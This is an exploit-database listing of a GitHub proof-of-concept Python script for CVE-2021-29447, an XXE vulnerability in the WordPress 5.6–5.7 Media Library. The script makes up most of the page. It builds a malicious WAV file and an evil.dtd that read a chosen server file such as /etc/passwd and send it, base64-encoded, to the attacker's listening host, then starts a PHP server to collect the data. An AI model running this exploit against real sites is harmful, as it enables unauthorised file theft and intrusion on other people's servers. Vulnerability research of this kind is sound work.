Exploit database

GH-9757578085eaf2bd44bf7420ca96b2a4

0xrar/cve-2021-29447-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-29447

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
0xrar/cve-2021-29447-pocRevision 4a156e344515

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

PoC.py

Suggested starting filePython · 2,828 bytes
import os
import sys
import argparse

def banner():
    print('''
    ╔═╗╦  ╦╔═╗     
    ║  ╚╗╔╝║╣────2021-29447
    ╚═╝ ╚╝ ╚═╝
    Written By (Isa Ebrahim - 0xRar) on January, 2023

    ═══════════════════════════════════════════════════════════════════════════
    [*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
    [*] Affected versions: Wordpress 5.6 - 5.7
    [*] Patched version: Wordpress 5.7.1
    [*] Installation version: PHP 8
    ═══════════════════════════════════════════════════════════════════════════
    ''')

def main():
    #Arguments
    parser = argparse.ArgumentParser(
        epilog="\tExample: \r\npython3 " + sys.argv[0] + " -l 10.0.2.15 -p 8000 -f /etc/passwd")

    parser.add_argument(
        "-l", "--lhost",
        dest="lhost",
        help="your server ip address e.g. 10.0.2.15"
    )

    parser.add_argument(
        "-p", "--port",
        dest="port",
        help="your server port e.g. 1337"
    )

    parser.add_argument(
        "-f", "--file",
        dest="file",
        help="system file to read e.g. /etc/passwd"
    )
    args = parser.parse_args()
    
    if len(sys.argv) < 2:
        parser.print_usage()
        sys.exit(1)

    lhost = args.lhost
    port = args.port
    sysfile = args.file

    # Content of the malicious wav file (payload.wav)
    payload = f"RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version=\"1.0\"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://{lhost}:{port}/evil.dtd'>%remote;%init;%trick;]>\x00"

    # Content of the malicious dtd (evil.dtd)
    evil_dtd = f'''<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource={sysfile}">
    \n<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://{lhost}:{port}/?p=%file;'>" >'''


    if lhost and port and sysfile:
        # Creating the payload.wav file
        with open("payload.wav", "w", encoding="latin-1") as payload_file:
            payload_file.write(payload)
            print('[+] payload.wav was created.')

        # Creating the evil.dtd file
        with open("evil.dtd", "w") as dtd_file:
            dtd_file.write(evil_dtd)
            print('[+] evil.dtd was created.')
            print('[+] manually upload the payload.wav file to the Media Library.')
            print('[+] wait for the GET request.\n')
        
        # Starting the local http server
        os.system(f'php -S 0.0.0.0:{port}')
    
if __name__ == '__main__':
    banner()
    main()